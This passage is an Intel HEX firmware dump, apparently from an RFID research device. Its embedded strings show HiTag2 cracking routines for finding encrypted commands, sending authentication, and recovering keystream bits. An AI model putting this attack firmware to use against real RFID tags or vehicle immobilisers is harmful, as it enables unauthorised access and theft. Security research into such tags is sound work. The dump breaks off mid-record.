n:103de0003000c38f2b104300080040140000000077\n:103df000059d023c1c3444243000c58f8513410fbf\n:103e000000000000990f410b00000000c8000224d0\n:103e10003000c38f2b1062000d0040140000000022\n:103e2000580202243000c38f2b10430008004014b6\n:103e300000000000059d023c2c3444243000c58f56\n:103e40008513410f00000000990f410b0000000096\n:103e5000059d023c403444243000c58f8513410f3a\n:103e6000000000001c00c0af1000c28f01004224ff\n:103e70001000c2af1000c38f1400c28f211862005f\n:103e80005000c28f2b10620007004010000000009d\n:103e900020000224ffff43241800c28f2b10430090\n:103ea000edfe401400000000059d023c5034442407\n:103eb000059d023c543445242013410f00000000ae\n:103ec0001c00c28f07004010000000002c00c28fb1\n:103ed000212040001800c58fc20f410f00000000d4\n:103ee0001c00c2af1c00c28f21e8000221e8c00301\n:103ef0004400bf8f4000be8f3c00b08f4800bd27fc\n:103f00000800e00300000000e0ffbd271c00bfaf79\n:103f10001800beaf21f0a0032000c4af2400c5af3d\n:103f20001000c0af2400c28f0600422c29004014ac\n:103f3000000000002000c28f00004390f000022427\n:103f400024006214000000002000c28f02004224fe\n:103f500000004290211840002400c28ffcff422440\n:103f60001c006214000000002400c28fffff4224e6\n:103f70002000c48f21284000fc0f410f00000000ea\n:103f80001400c2a31400c293059d033c583464245a\n:103f9000212840008513410f000000002400c28f3b\n:103fa000ffff42242000c38f2110620000004290d6\n:103fb0001400c393070062140000000001000224f3\n:103fc0001000c2af2000c48f2400c58f1b10410f0a\n:103fd000000000001000c28f21e8c0031c00bf8f4a\n:103fe0001800be8f2000bd270800e003000000007d\n:103ff000f0ffbd270c00beaf21f0a0031000c4af3e\n:104000001400c5af0000c0a3010002240400c2af29\n:104010001010410b000000001000c38f0400c28f7d\n:1040200021106200000043900000c2932110620042\n:104030000000c2a30400c28f010042240400c2afea\n:104040000400c38f1400c28f2b106200f2ff4014d3\n:10405000000000000000c29321e8c0030c00be8fe6\n:104060001000bd270800e00300000000d0ffbd27be\n:104070002c00bfaf2800beaf2400b0af21f0a003da\n:104080003000c4af3400c5af2120a00321808000e0\n:10409000200004241400c4af200004240100842460\n:1040a000213080002138000042270600c058070058\n:1040b00025588b00c05006002000042401008424f1\n:1040c000211080002118000042270200c048030090\n:1040d00025488900c040020020000224010042243b\n:1040e00007004224c2100200c010020023e8a2030d\n:1040f0001000a227000042241800c2af1000c0af79\n:104100006310410b000000003000c38f1000c28f0d\n:1041100021106200000042901c00c2a31c00c29348\n:10412000059d033c88346424212840008513410ff9\n:10413000000000001000c28f070043300700022477\n:104140000600621400000000059d023c90344424e7\n:10415000212800002013410f000000001c00c29322\n:10416000212040007a10410f00000000211840007b\n:104170001800c48f1000c28f21108200000043a0dd\n:104180001000c28f010042241000c2af1000c38f84\n:104190003400c28f2b106200dbff401400000000cf\n:1041a0001800c38f1000c28f21106200000040a0d1\n:1041b0001800c28f059d033c9434642421284000dc\n:1041c0002013410f0000000021e8000221e8c00395\n:1041d0002c00bf8f2800be8f2400b08f3000bd2779\n:1041e0000800e00300000000f8ffbd270400beaf98\n:1041f00021f0a003211080000800c2a30800c29390\n:104200001a00422c07004010000000000800c29372\n:1042100041004224ff0042302014027cb810410bc0\n:10422000000000000800c2932000422c0b00401444\n:10423000000000000800c2932a00422c0700401032\n:10424000000000000800c29310004224ff0042302a\n:104250002014027cb810410b000000000800c2933b\n:10426000e6ff42240500432c1c0060100000000003\n:1042700080180200049d023c8c42422421106200fe\n:104280000000428c0800400000000000a042049d95\n:10429000ac42049db842049dc442049dd042049d9a\n:1042a00020000224b810410b000000002e00022460\n:1042b000b810410b0000000027000224b810410b89\n:1042c000000000002d000224b810410b0000000087\n:1042d00021000224b810410b000000003f0002241e\n:1042e00021e8c0030400be8f0800bd270800e003da\n:1042f00000000000f8ffbd270400beaf21f0a003be\n:10430000cc818293ff0042301f004230ff004330d7\n:104310000100022403006210000000006b11410b39\n:1043200000000000cc818293ff00423060004230e8\n:10433000ff00433020000224030062100000000050\n:104340006b11410b00000000d0818293ff004230ce\n:104350000800401000000000d0818293ff0043302d\n:104360000100022403006210000000006b11410be9\n:1043700000000000cd818293ff0042302300432cd7\n:10438000890060100000000080180200049d023cbb\n:10439000a4434224211062000000428c0800400027\n:1043a000000000003044049d8444049da845049d01\n:1043b000a845049da845049da845049da845049dc5\n:1043c000a845049da845049da845049da845049db5\n:1043d000a845049da845049da845049da845049da5\n:1043e000a845049da845049da845049da845049d95\n:1043f000a845049da845049da845049da845049d85\n:10440000a845049da845049da845049da845049d74\n:10441000a845049da845049da845049da845049d64\n:10442000a845049db044049d4845049d7c45049dd9\n:1044300000a0023c94818327801c43ac00a0023c76\n:10444000801c422408000324080043a400a0023c6e\n:10445000801c432404006290010004240400827c38\n:10446000040062a000a0023c801c4324040062906f\n:1044700001000424c439827c040062a06b11410b4a\n:104480000000000000a0023c94818327801c43ac04\n:1044900000a0023c801c432404006290010004241c\n:1044a000c439827c040062a06b11410b0000000043\n:1044b000d2818293ff004230d3818393ff00633027\n:1044c000001a030025106200ffff433000a0023ce9\n:1044d000ff006530d01c4424050086900000c630e3\n:1044e0002528c500050085a0021a0300ffff6330e0\n:1044f000d01c42240600449000008430251883001c\n:10450000060043a000a0023c88818327d01c4424dd\n:10451000030083a8d01c43b800a0023cd01c422456\n:104520000a0040a8070040b800a0023cd01c432469\n:104530000400629001000424c439827c040062a05b\n:104540006b11410b0000000000a0023c8881832712\n:10455000801c43ac00a0023c801c422407000324c2\n:10456000080043a400a0023c801c4224c1ff032495\n:10457000040043a06b11410b00000000ce81829328\n:10458000ff004230a88182a300a0023c801c43248b\n:104590000400629001000424c439827c040062a0fb\n:1045a0006b11410b000000000000000021e8c00377\n:1045b0000400be8f0800bd270800e00300000000d3\n:1045c000e8ffbd271400bfaf1000beaf21f0a0036d\n:1045d000004b0224888182af8c8180a38d8180a3cf\n:1045e000080002248e8182a3a48180a302000424f7\n:1045f0001500052409a1400f000000000300042459\n:104600001d00052409a1400f000000000300042440\n:104610002128000000a0023c18184624400007246e\n:1046200033a1400f00000000848182af748180af0d\n:10463000a58180a321e8c0031400bf8f1000be8fa6\n:104640001800bd270800e00300000000e8ffbd27b8\n:104650001400bfaf1000beaf21f0a0031800c4af1c\n:104660001c00c5af2110c0002000c2a71800c38fd6\n:104670000500022417006214000000008481828f6c\n:104680001c00c38f09006214000000000300042412\n:104690002128000000a0023c1818462440000724ee\n:1046a00033a1400f00000000848182af7481828fab\n:1046b0001c00c38f0500621400000000a58180a3c8\n:1046c000908180a3b811410b00000000b811410b8c\n:1046d0000000000021100000b911410b0000000093\n:1046e0000100022421e8c0031400bf8f1000be8f18\n:1046f0001800bd270800e00300000000e8ffbd2708\n:104700001400bfaf1000beaf21f0a0031800c4af6b\n:104710002110a0001c00c2a3a48180a38481828fe9\n:1047200009004010000000008481828f0000429048\n:10473000ff00433080ff022424106200ff0042305b\n:1047400038004014000000001c00c3938481828f55\n:1047500002004490ff00843003004290ff0042308a\n:10476000030042300012020025104400ffff4230d7\n:104770002a1043000b004010000000008481828f4b\n:1047800002004390ff00633003004290ff0042307c\n:10479000030042300012020025104300ffff4230a8\n:1047a0001c00c2a3a48180a3fc11410b00000000e7\n:1047b000a48182931800c38f21106200a481839387\n:1047c0002120600000a0033c1818632421188300f6\n:1047d00000006390ff006330201c037c000043a0b6\n:1047e000a481829301004224ff004230a48182a36d\n:1047f000a48182931c00c3932b104300ecff401450\n:1048000000000000030004242128000000a0023c56\n:10481000181846244000072433a1400f0000000070\n:10482000848182afa481829321e8c0031400bf8fea\n:104830001000be8f1800bd270800e0030000000034\n:10484000f8ffbd270400beaf21f0a0030800c4afed\n:104850002110a0000c00c2a388bf023c0002033c50\n:10486000741043aca581829309004014000000003d\n:104870000800c28f7c8182af0c00c293908182a31a\n:1048800001000224ac8182a301000224a58182a33d\n:1048900088bf023c0002033c781043ac21e8c0030f\n:1048a0000400be8f0800bd270800e00300000000e0\n:1048b000f0ffbd270c00beaf21f0a0031000c4af75\n:1048c00088bf023c0002033c741043aca581829374\n:1048d000060040100000000088bf023c0002033cbc\n:1048e000781043ac5812410b000000000000c0a338\n:1048f0001000c28f0400c2af0000c2930100422426\n:104900000000c2a30000c393ff000224030062144e\n:10491000000000004d12410b000000000400c28f97\n:10492000010043240400c3af00004280f2ff4014a2\n:10493000000000001000c28f7c8182af0000c29393\n:10494000908182a301000224ac8182a30100022491\n:10495000a58182a388bf023c0002033c781043accf\n:1049600021e8c0030c00be8f1000bd270800e00343\n:1049700000000000f0ffbd270c00beaf21f0a00337\n:104980001000c4af88bf023c0002033c741043ac6b\n:10499000a5818293060040100000000088bf023c01\n:1049a0000002033c781043ac8812410b0000000069\n:1049b0000000c0a31000c28f0400c2af0000c29369\n:1049c000010042240000c2a30000c393ff000224a0\n:1049d00003006214000000007e12410b0000000082\n:1049e0000400c28f010043240400c3af00004280d2\n:1049f000f2ff4014000000001000c28f7c8182afe3\n:104a00000000c293908182a3ac8180a301000224a4\n:104a1000a58182a388bf023c0002033c781043ac0e\n:104a200021e8c0030c00be8f1000bd270800e00382\n:104a300000000000e0ffbd271c00bfaf1800beafa4\n:104a400021f0a00388bf023c0002033c741043ac79\n:104a50007481828f0e004010000000007481828fec\n:104a600000004290ff00433080ff022424106200c7\n:104a7000ff004230060040100000000088bf023cea\n:104a80000002033c781043ac1a13410b00000000f5\n:104a9000a581839303000224020062140000000039\n:104aa000a58180a3a5818293060040140000000028\n:104ab00088bf023c0002033c781043ac1a13410b40\n:104ac00000000000a5818393020002240c00621400\n:104ad0000000000003000424010005242130000030\n:104ae0002138000033a1400f00000000748182af24\n:104af00003000224a58182a31713410b00000000cc\n:104b0000a581839301000224540062140000000078\n:104b1000908182934100422c050040140000000067\n:104b2000400002241000c2a3ce12410b000000007e\n:104b3000908182931000c2a3908183931000c2934e\n:104b400023106200ff004230908182a300a0023c4b\n:104b500058184224808182af1000c2931100c2a372\n:104b6000ac8182931500401400000000ea12410b52\n:104b7000000000008081828f7c81838f0000639021\n:104b8000000043a08081828f01004224808182af97\n:104b90007c81828f010042247c8182af1100c2930c\n:104ba000ffff42241100c2a31100c293f1ff401481\n:104bb000000000000113410b00000000fe12410b39\n:104bc000000000008081828f7c81838f00006390d1\n:104bd000000043a08081828f01004224808182af47\n:104be0007c81828f010042247c8182af1100c293bc\n:104bf000ffff42241100c2a31100c293f1ff401431\n:104c000000000000908182930b004014000000001f\n:104c10001000c3934000022405006214000000004d\n:104c200002000224a58182a30e13410b00000000a4\n:104c300003000224a58182a31000c2930300042470\n:104c40000100052400a0033c5818662421384000c8\n:104c500033a1400f00000000748182af88bf023c86\n:104c60000002033c781043ac21e8c0031c00bf8f56\n:104c70001800be8f2000bd270800e00300000000e0\n:104c8000e8febd271401bfaf1001beaf21f0a003a5\n:104c90001801c4af1c01c5af1000c227212040007d\n:104ca000000105241801c68f1c01c78f4d57410f05\n:104cb00000000000d9808393010002240a006214de\n:104cc000000000001000c22721204000a34a410f2d\n:104cd000000000001000c3272120600021284000b0\n:104ce0003e14410f00000000d9808393020002248b\n:104cf0000a006214000000001000c22721204000ba\n:104d0000a34a410f000000001000c32721206000cb\n:104d100021284000c013410f0000000021e8c0031b\n:104d20001401bf8f1001be8f1801bd270800e003da\n:104d300000000000e8ffbd271400bfaf1000beafa9\n:104d400021f0a0031800c4af1c00c5afd980839325\n:104d50000100022405006214000000001800c48f46\n:104d60001c00c58f3e14410f00000000d9808393c2\n:104d70000200022405006214000000001800c48f25\n:104d80001c00c58fc013410f0000000021e8c003c4\n:104d90001400bf8f1000be8f1800bd270800e0036d\n:104da00000000000e8ffbd271400bfaf1000beaf39\n:104db00021f0a003211080001800c2a3d9808393a2\n:104dc0000100022405006214000000001800c4273e\n:104dd000010005243e14410f00000000d980839398\n:104de0000200022405006214000000001800c4271d\n:104df00001000524c013410f0000000021e8c0039a\n:104e00001400bf8f1000be8f1800bd270800e003fc\n:104e100000000000e8febd271401bfaf1001beafc7\n:104e200021f0a0031801c4af1c01c5af1000c227b8\n:104e3000212040001801c58f1c01c68fc654410fa8\n:104e400000000000d980839301000224070062144f\n:104e500000000000059d023c205744241000c2279a\n:104e6000212840002013410f0000000021e8c0036a\n:104e70001401bf8f1001be8f1801bd270800e00389\n:104e800000000000e8ffbd271400bfaf1000beaf58\n:104e900021f0a0031800c4af2110a0001c00c2a381\n:104ea000d9808393010002240e00621400000000e8\n:104eb000a581829308004014000000001c00c293ea\n:104ec0001800c48f21284000bf11410f00000000ce\n:104ed000ba13410b0000000021100000ba13410b6f\n:104ee000000000002110000021e8c0031400bf8f63\n:104ef0001000be8f1800bd270800e003000000006e\n:104f0000e8ffbd271400bfaf1000beaf21f0a00323\n:104f10001800c4af1c00c5afd013410b0000000047\n:104f20001800c28f010043241800c3af0000429054\n:104f30002014027c21204000ad37410f000000000a\n:104f40001c00c28fffff43241c00c3aff4ff4014ba\n:104f50000000000021e8c0031400bf8f1000be8fc6\n:104f60001800bd270800e00300000000d8ffbd279f\n:104f70002400bfaf2000beaf1c00b0af21f0a003e3\n:104f80002800c4af2c00c5af1000c0a32800c28ffa\n:104f9000000040a001000424ff0d410f00000000ac\n:104fa000f613410b0000000021200000ff0d410f0f\n:104fb000000000001400c2af1400c38f2c00c28f89\n:104fc0002b104300040040100000000021100000de\n:104fd0003714410b000000008337410f0000000030\n:104fe000f1ff40100000000001000424ff0d410ffc\n:104ff000000000002414410b0000000021200000ec\n:10500000ff0d410f000000001400c2af1400c38f59\n:105010002c00c28f2b104300030040100000000042\n:105020002814410b000000008337410f00000000ee\n:1050300010004010000000001000c2932800c38f31\n:10504000218062004637410f00000000ff0042301f\n:10505000000002a21000c2932800c38f211062003a\n:105060000000429007004014000000001f14410b94\n:10507000000000002414410b000000002814410b24\n:10508000000000001000c293010042241000c2a3df\n:105090001000c393ff000224d8ff62140000000038\n:1050a0001000c2932800c38f21106200000040a0ae\n:1050b0003014410b000000004637410f0000000093\n:1050c0008337410f00000000fbff40140000000088\n:1050d0002800c48fa34a410f0000000021e8c0034c\n:1050e0002400bf8f2000be8f1c00b08f2800bd277a\n:1050f0000800e00300000000e0ffbd271c00bfaf78\n:105100001800beaf21f0a0032000c4af2400c5af3b\n:10511000a581829303004010000000006c14410b35\n:10512000000000006914410b000000002400c28f41\n:105130000001422c05004010000000002400c28f36\n:105140001000c2a35514410b00000000ffff022411\n:105150001000c2a31000c2932000c48f2128400079\n:105160001012410f000000001000c2932000c38ff6\n:10517000211062002000c2af1000c2932400c38f30\n:10518000231062002400c2af6614410b000000002f\n:105190008d12410f00000000a5818293fcff401496\n:1051a000000000002400c28fe0ff40140000000057\n:1051b00021e8c0031c00bf8f1800be8f2000bd2750\n:1051c0000800e00300000000e0ffbd271c00bfafa7\n:1051d0001800beaf21f0a0032000c4af059d023c23\n:1051e000245744242000c58f2013410f00000000e5\n:1051f0001000c2272120400001000524a113410f07\n:10520000000000000d00401000000000059d023c61\n:1052100020574424059d023c645745242013410f28\n:10522000000000001000c2930d0042380100422c23\n:10523000ff0042309114410b000000007c14410b30\n:105240000000000021e8c0031c00bf8f1800be8fc3\n:105250002000bd270800e00300000000f8ffbd2784\n:105260000400beaf21f0a003f080828f0300401441\n:1052700000000000ffff0234f08082aff080828fd8\n:10528000ffff4224f08082af88bf023c8050428cf6\n:10529000020042301f00401000000000f080828faa\n:1052a000910040140000000088bf023c2061428c45\n:1052b000080042300100422cff00443088bf033c0c\n:1052c00020616294c418827c206162a488bf023c81\n:1052d0002061428c080042300700401000000000ae\n:1052e00088bf033c206162948410027c206162a428\n:1052f0003a15410b0000000088bf033c2061629416\n:10530000010004248410827c206162a43a15410bc0\n:1053100000000000f881828f0d00401400000000a2\n:1053200088bf033c2061629401000424c418827c7d\n:10533000206162a488bf033c2061629401000424c0\n:105340008410827c206162a43a15410b00000000a9\n:10535000f881838f010002240b006214000000001a\n:1053600088bf033c20616294c418027c206162a45f\n:1053700088bf033c206162948410027c206162a497\n:105380003a15410b00000000f881838f02000224cf\n:105390000c0062140000000088bf033c206162948e\n:1053a000c418027c206162a488bf033c206162941f\n:1053b000010004248410827c206162a43a15410b10\n:1053c00000000000f881838f040002240c006214a6\n:1053d0000000000088bf033c2061629401000424a7\n:1053e000c418827c206162a488bf033c206162945f\n:1053f0008410027c206162a43a15410b0000000079\n:10540000f881838f10000224140062140000000051\n:10541000f080828f340040140000000088bf023cfe\n:105420002061428c080042300100422cff004430d1\n:1054300088bf033c20616294c418827c206162a40e\n:1054400088bf033c20616294010004248410827ca4\n:10545000206162a43a15410b00000000f881838f9f\n:10546000200002242000621400000000f080828fdf\n:105470001d0040140000000088bf023c2061428ce7\n:10548000080042300100422cff00443088bf033c3a\n:1054900020616294c418827c206162a488bf023caf\n:1054a0002061428cc000427cff0042302118400045\n:1054b000d8808293080062100000000088bf033c7f\n:1054c00020616294010004248410827c206162a423\n:1054d0003a15410b0000000088bf033c2061629434\n:1054e0008410027c206162a4d9808393020002248c\n:1054f000050062140000000088bf033c2061629434\n:105500008410027c206162a421e8c0030400be8fe5\n:105510000800bd270800e00300000000e8ffbd27e9\n:105520001400bfaf1000beaf21f0a00300a0023cea\n:105530005c56442440000524a113410f00000000e4\n:105540000400401000000000010002245615410b29\n:10555000000000002110000021e8c0031400bf8fec\n:105560001000be8f1800bd270800e00300000000f7\n:10557000e8ffbd271400bfaf1000beaf21f0a003ad\n:10558000d88082930900401400000000059d023c71\n:1055900020574424059d023c685745242013410fa1\n:1055a000000000007115410b00000000059d023c49\n:1055b00020574424059d023c645745242013410f85\n:1055c0000000000021e8c0031400bf8f1000be8f50\n:0c55d0001800bd270800e00300000000e8\n:020000040000fa\n:020000041d04d9\n:1055dc000d0a000043616e6e6f7420676574205570\n:1055ec0049440d0a00000000506c6561736520731e\n:1055fc007570706c7920612076616c6964206e52d4\n:10560c0020615220706169720d0a00006e5220698f\n:10561c0073206e6f742033322062697473206c6f48\n:10562c006e670d0a000000006152206973206e6fd6\n:10563c00742033322062697473206c6f6e670d0aac\n:10564c000000000043616e6e6f742066696e64200a\n:10565c00612076616c696420656e63727970746523\n:10566c006420636f6d6d616e640d0a0043616e6e34\n:10567c006f742066696e6420656e637279707465f0\n:10568c006420277265616420706167653027206330\n:10569c006f6d6d616e640d0a000000002531643a77\n:1056ac002025730d0a0000002531643a0d0a000014\n:1056bc0046696e64696e672076616c696420656efc\n:1056cc006372797074656420636f6d6d616e643a9a\n:1056dc0000000000463430323838394300000000f6\n:1056ec00686974616732637261636b5f66696e646b\n:1056fc005f76616c69645f655f636d643a0d0a2067\n:10570c00686974616732637261636b5f73656e6441\n:10571c005f655f636d64206661696c65640d0a008a\n:10572c002e000000686974616732637261636b5f9d\n:10573c0066696e645f76616c69645f655f636d64f6\n:10574c003a0d0a206e6f2076616c696420656e6379\n:10575c0072797074656420636f6d6d616e64206620\n:10576c006f756e640d0a000046696e64696e672081\n:10577c002772656164207061676520302720636f34\n:10578c006d6d616e643a00006869746167326372b2\n:10579c0061636b5f66696e645f655f7061676530de\n:1057ac005f636d643a0d0a206869746167326372d5\n:1057bc0061636b5f73656e645f655f636d642072bc\n:1057cc00657475726e6564204552524f525f524536\n:1057dc0053504f4e53450d0a000000006869746128\n:1057ec006732637261636b5f66696e645f655f707d\n:1057fc00616765305f636d643a0d0a206869746196\n:10580c006732637261636b5f73656e645f655f6360\n:10581c006d64206661696c65640d0a006869746169\n:10582c006732637261636b5f66696e645f655f703c\n:10583c00616765305f636d643a0d0a20636f756c48\n:10584c0064206e6f742066696e6420656e63727975\n:10585c0070746564202772656164207061676520cf\n:10586c00302720636f6d6d616e640d0a00000000bf\n:10587c003131303030303031313100006869746191\n:10588c006732637261636b5f746573745f655f70bd\n:10589c0030636d643a0d0a20686974616732637213\n:1058ac0061636b5f73656e645f655f636d642066d7\n:1058bc0061696c65640d0a006869746167326372b2\n:1058cc0061636b5f726561645f706167653a0d0a55\n:1058dc0020696e76616c696420706167656e756da8\n:1058ec000d0a0000686974616732637261636b5ff3\n:1058fc00726561645f706167653a0d0a206869744e\n:10590c00616732637261636b5f73656e645f655f61\n:10591c00636d642072657475726e656420455252b5\n:10592c004f525f524553504f4e53450d0a000000e5\n:10593c00686974616732637261636b5f726561641d\n:10594c005f706167653a0d0a20686974616732633c\n:10595c007261636b5f73656e645f655f636d64201a\n:10596c006661696c65640d0a000000006869746109\n:10597c006732637261636b5f73656e645f655f63ef\n:10598c006d643a0d0a2063616e6e6f7420676574e6\n:10599c00205549440d0a00006869746167326372ce\n:1059ac0061636b5f73656e645f655f636d643a0d15\n:1059bc000a2063616e6e6f742067657420554944cc\n:1059cc002028326e642074696d65290d0a00000070\n:1059dc00686974616732637261636b5f73656e646f\n:1059ec005f655f636d643a0d0a2074782f727820be\n:1059fc006e726172206661696c65640d0a0000004c\n:105a0c00686974616732637261636b5f73656e643e\n:105a1c005f655f636d643a0d0a2074782f7278208d\n:105a2c00636d64206661696c65640d0a000000009a\n:105a3c00686974616732637261636b5f74785f72fb\n:105a4c00783a207277645f73656e64206661696c66\n:105a5c0065640d0a00000000686974616732637246\n:105a6c0061636b5f74785f72783a206e6f20737924\n:105a7c006e630d0a0000000068697461673263721e\n:105a8c0061636b5f74785f72783a2077726f6e67c0\n:105a9c00207278206c656e0d0a0000002f722f6e3c\n:105aac00666f726d6174206973202773686172650b\n:105abc00646b657920554944206e522720696e200d\n:105acc006865780d0a0000002f722f6e7368617282\n:105adc0065646b65792073686f756c6420626520f2\n:105aec0034382062697473206c6f6e6720283132f1\n:105afc00206865786368617273290d0a00000000e4\n:105b0c002f722f6e6e6f205549440d0a0000000055\n:105b1c002f722f6e5549442073686f756c64206228\n:105b2c00652033322062697473206c6f6e67202895\n:105b3c0038206865786368617273290d0a0000006b\n:105b4c002f722f6e6e522073686f756c64206265b5\n:105b5c002033322062697473206c6f6e6720283892\n:105b6c00206865786368617273290d0a0000000073\n:105b7c00537563636573730d0a0000002f722f6eeb\n:105b8c00686578206d7573742062652033326269a4\n:105b9c0074732028382068657820636861727329d3\n:105bac000d0a00000d0a62696e61727920737472bd\n:105bbc00696e67206d757374206265203c3d2033df\n:105bcc003220626974730d0a000000006869746108\n:105bdc006732637261636b5f73656e645f6175746a\n:105bec0068206661696c65640d0a000068697461ff\n:105bfc006732637261636b5f636f6e73756d655f44\n:105c0c006b657973747265616d206661696c65642e\n:105c1c000d0a0000686974616732637261636b5fbf\n:105c2c00657874656e645f6b657973747265616dac\n:105c3c00206661696c65640d0a0000005265636f33\n:105c4c0076657265642025642062697473206f66c2\n:105c5c00206b657973747265616d0d0a000000002c\n:105c6c0025730d0a00000000686974616732637265\n:105c7c0061636b5f73656e645f617574683a0d0a7e\n:105c8c002063616e6e6f7420676574205549440df6\n:105c9c000a000000686974616732637261636b5f4c\n:105cac0073656e645f617574683a0d0a2063616e8a\n:105cbc006e6f7420676574205549442028326e64d9\n:105ccc002074696d65290d0a000000006869746113\n:105cdc006732637261636b5f73656e645f61757469\n:105cec00683a0d0a2074782f7278206e72617220d7\n:105cfc006661696c65640d0a000000006869746176\n:105d0c006732637261636b5f636f6e73756d655f32\n:105d1c006b657973747265616d3a0d0a20636f6ef1\n:105d2c006c656e203c2031300d0a0000686974618e\n:105d3c006732637261636b5f636f6e73756d655f02\n:105d4c006b657973747265616d3a0d0a2074782fe6\n:105d5c00727820636d64206661696c65640d0a005d\n:105d6c00686974616732637261636b5f636f6e73d2\n:105d7c00756d655f6b657973747265616d3a0d0a4b\n:105d8c0020676f74206572726f7220726573706f0a\n:105d9c006e73652066726f6d20636172640d0a000c\n:105dac00686974616732637261636b5f657874658f\n:105dbc006e645f6b657973747265616d3a0d0a2060\n:105dcc00636d646c656e203c2031300d0a00000060\n:105ddc00686974616732637261636b5f657874655f\n:105dec006e645f6b657973747265616d3a0d0a2030\n:105dfc0074782f727820636d64206661696c6564b9\n:105e0c000d0a0000686974616732637261636b5fcd\n:105e1c00657874656e645f6b657973747265616dba\n:105e2c003a0d0a20676f74206572726f722072656a\n:105e3c0073706f6e73652066726f6d206361726430\n:105e4c000d0a00005858585858585858000000006f\n:105e5c0025643a2000000000257300006869746115\n:105e6c0067325f66696e645f7461673a20636f7551\n:105e7c006e7420697320696e76616c69640d0a001a\n:105e8c00496e76616c6964204e564d20636f756e59\n:105e9c007465720d0a00000025642074616773201c\n:105eac0073746f7265640d0a000000004e6f204819\n:105ebc00695461673220746167732073746f726503\n:105ecc00640d0a00496e76616c6964207461672008\n:105edc0073656c656374696f6e0d0a00546167209d\n:0c5eec006e756d6265722025640d0a0061\n:020000040000fa\n:020000041d04d9\n:105ef800e8ffbd271400bfaf1000beaf21f0a0031c\n:105f08001800c4af1c00c5af2000c6af2400c7af3f\n:105f180000a0023cdc564224870042902118400031\n:105f2800130002241600621400000000010002247d\n:105f38002400c2af1800c28f030040140000000004\n:105f4800320002241800c2af1c00c28f03004014a4\n:105f580000000000050002241c00c2af2000c28f10\n:105f68000500401400000000e80302242000c2af2e\n:105f7800ea17410b00000000ea17410b000000007f\n:105f88001800c28f05004014000000000c00022415\n:105f98001800c2afe917410b000000000000000024\n:105fa8001800c48f1c00c58f2000c68f2400c78f1f\n:105fb800f617410f0000000021e8c0031400bf8f4e\n:105fc8001000be8f1800bd270800e0030000000085\n:105fd800c8efbd273410bfaf3010beaf2c10b0af24\n:105fe80021f0a0033810c4af3c10c5af4010c6afb5\n:105ff8004410c7af1400c0af1c00c0afe00c410f85\n:106008000000000088bf033c606062940421027ca9\n:10601800606062a488bf033c20616294010004248c\n:10602800444a827c206162a488bf033ca0616294d8\n:10603800444a027ca06162a488bf023cd060428cc2\n:106048000003427cff0042301000c2af4410c28ff0\n:10605800210040140000000088bf023cd060428c40\n:106068000003427cff0042301000c2af3418410bdd\n:10607800000000002518410b000000004715410fe3\n:1060880000000000a00040140000000088bf023c8f\n:10609800d060428c0003427cff004230211840004f\n:1060a8001000c28ff5ff6210000000001800c28fb8\n:1060b800010042241800c2af1000c28f0100422c18\n:1060c800ff0042301000c2af1800c28f6400422c9b\n:1060d800e8ff4014000000002000c0af01000424c5\n:1060e800ff0d410f00000000b718410b0000000031\n:1060f8002400c0af7918410b000000004715410f7c\n:10610800000000001400c2af1400c28f030040104a\n:10611800000000008118410b000000001c00c28f25\n:106128002e004010000000004010c28f2b004010cd\n:10613800000000002400c28f010043242400c3afe4\n:106148000700423025004014000000002120000014\n:10615800ff0d410f000000001800c2af1800c38fe8\n:106168004010c28f2b1062001c0040140000000079\n:106178002000c28f801002001000c3272110620087\n:106188001c00c38f180843ac2000d08f01000226e2\n:106198002000c2af01000424ff0d410f00000000e1\n:1061a80021184000801010001000c4272110820020\n:1061b800180043ac1c00c0af2808c3272800c2271a\n:1061c80021206000212840002000c68fcb18410ff5\n:1061d800000000002000c0af0000000088bf023ca3\n:1061e800d060428c0003427cff00423021184000fe\n:1061f8001000c28fc1ff6210000000001000c28fa3\n:106208000100422cff0042301000c2af01000424fc\n:10621800ff0d410f000000001800c2af1800c38f27\n:106228003810c28f2b1043001a00401000000000e5\n:106238004410c28f06004010000000001c00c38fed\n:106248003c10c28f2b1043001600401000000000c5\n:106258002000c28f801002001000c32721106200a6\n:106268001c00c38f180843ac2000c28f01004324d0\n:106278002000c3af801002001000c3272110620065\n:106288001800c38f180043ac1c00c0afab18410bfb\n:10629800000000001c00c38f1800c28f211062008c\n:1062a8001c00c2af2000c38f000202240900621440\n:1062b800000000002808c3272800c227212060000a\n:1062c800212840002000c68fcb18410f0000000095\n:1062d8002000c0af1400c28f85ff401000000000ee\n:1062e8002000c28f08004010000000002808c327c3\n:1062f8002800c22721206000212840002000c68fe6\n:10630800cb18410f0000000021e8c0033410bf8ff4\n:106318003010be8f2c10b08f3810bd270800e00356\n:1063280000000000e0ffbd271c00bfaf1800beaf93\n:1063380021f0a0032000c4af2400c5af2800c6afd9\n:1063480000a0023cdc56422487004290f9ff422418\n:106358000d00432c3100601000000000801802007e\n:10636800049d023c80634224211062000000428c9c\n:106378000800400000000000b463049dd063049d41\n:106388002464049dec63049d2464049d2464049d9a\n:106398002464049d2464049d2464049dec63049d8a\n:1063a8002464049d2464049d0864049d2000c48f13\n:1063b8002400c58f2800c68fdfac400f0000000006\n:1063c8002919410b000000002000c48f2400c58f4c\n:1063d8002800c68f6db3400f000000002919410b3b\n:1063e800000000002000c48f2400c58f2800c68f3d\n:1063f80015d3400f000000002919410b00000000d0\n:106408002000c48f2400c58f2800c68f540e410f6a\n:10641800000000002919410b000000001000c0af67\n:106428002319410b000000001000c28f80100200e9\n:106438002000c38f211062000000428c059d033ca0\n:10644800ec5d6424212840008513410f0000000002\n:106458001000c28f801002002400c38f2110620038\n:106468000000428c059d033cfc5d6424212840000b\n:106478008513410f000000001000c28f0100422464\n:106488001000c2af1000c38f2800c28f2b1062000b\n:10649800e5ff40140000000000000000059d023cdc\n:1064a800045e4424059d023c085e45242013410fe8\n:1064b8000000000021e8c0031c00bf8f1800be8f39\n:1064c8002000bd270800e00300000000d8ffbd271a\n:1064d8002400bfaf2000beaf21f0a0032800c4af46\n:1064e8002c00c5af3000c6af3400c7af1c00c0af2a\n:1064f8001800c0afffff02341400c2af1000c0afd5\n:106508008919410b000000001800c28f801002009a\n:106518003800c38f211062000000438c3c00c28ffa\n:106528002b1062003a004014000000001800c28fcf\n:10653800801002003800c38f211062000000438cd5\n:106548004000c28f2b1043003100401400000000af\n:106558001800c28f801002002c00c38f2110620027\n:106568000000438c3000c28f2b10430028004010dd\n:10657800000000001800c28f801002002c00c38f9a\n:10658800211062000000438c3400c28f2b1043009e\n:106598001f004014000000001800c28f8010020085\n:1065a8002c00c38f211062000000438c1000c28fa2\n:1065b8002b10430007004010000000001800c28f95\n:1065c800801002002c00c38f